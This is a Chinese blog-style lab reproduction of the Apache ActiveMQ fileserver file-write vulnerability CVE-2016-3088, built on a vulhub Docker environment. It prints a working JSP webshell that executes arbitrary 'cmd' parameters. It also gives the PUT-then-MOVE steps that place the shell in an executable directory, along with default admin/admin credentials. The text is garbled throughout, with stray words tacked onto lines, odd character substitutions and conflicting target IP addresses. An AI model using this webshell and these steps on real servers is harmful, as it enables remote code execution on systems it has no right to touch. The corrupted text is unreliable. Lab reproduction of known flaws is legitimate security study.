ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

漏洞详情
漏洞说明#
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。ActiveMQ中的fileserver服务容许用户经过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),可是支持移动文件(Move)咱们能够将jsp的文件PUT到Fileserver下,而后再经过Move指令移动到可执行目录下访问。
漏洞危害#
使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码
漏洞编号#
CVE-2016-3088
影响范围#
Apache ActiveMQ 5.x ~ 5.14.0
修复建议#
ActiveMQ Fileserver 的功能在 5.14.0 及其之后的版本中已被移除
建议用户升级至 5.14.0 及其之后版本java

实验环境
攻击机:windows10
靶机:CentOS Linux 7
项目地址:
https://github.com/vulhub/vulhubgit

基础环境搭建
查看我之前的博客自行搭建github

实验环境搭建
项目地址web

`https://github.com/vulhub/vul`hub

下载后上传至任意目录,进入目录docker

vulhub-master/vulhub-master/activemq/CVE-2016-3088

启动docker编译shell

docker-compose up -d

环境运行后,将监听61616和8161两个端口其中61616是工做端口,消息在这个端口进行传递,浏览器访问http://192.168.91.133:8161/,以下图能够看到成功搭建环境。默认的用户名/密码为admin/admin
在这里插入图片描述
复现步骤
1.PUT上传一个jsp的webshell到fileserver目录,下图能够看到成功上传jsp文件
在这里插入图片描述
1.jsp文件内容:windows

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

 while((line=br.readLine())!=null){
  out.print(line+"</br>");
 }
%>

二、浏览器访问http://192.168.10.149:8161/fileserver/1.jsp,下图能够看到fileserver目录下的webshell没有被解析,说明fileserver目录没有执行权限
在这里插入图片描述
三、首先要知道绝对路径在哪:api

访问http://192.168.91.133:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:
在这里插入图片描述
4.接下来经过move方法,将木马文件移动到api或者admin:
在这里插入图片描述
5.接下来访问木马:http://192.168.91.133:8161/api/1.jsp?cmd=ls
在这里插入图片描述
上图能够看到成功解析!浏览器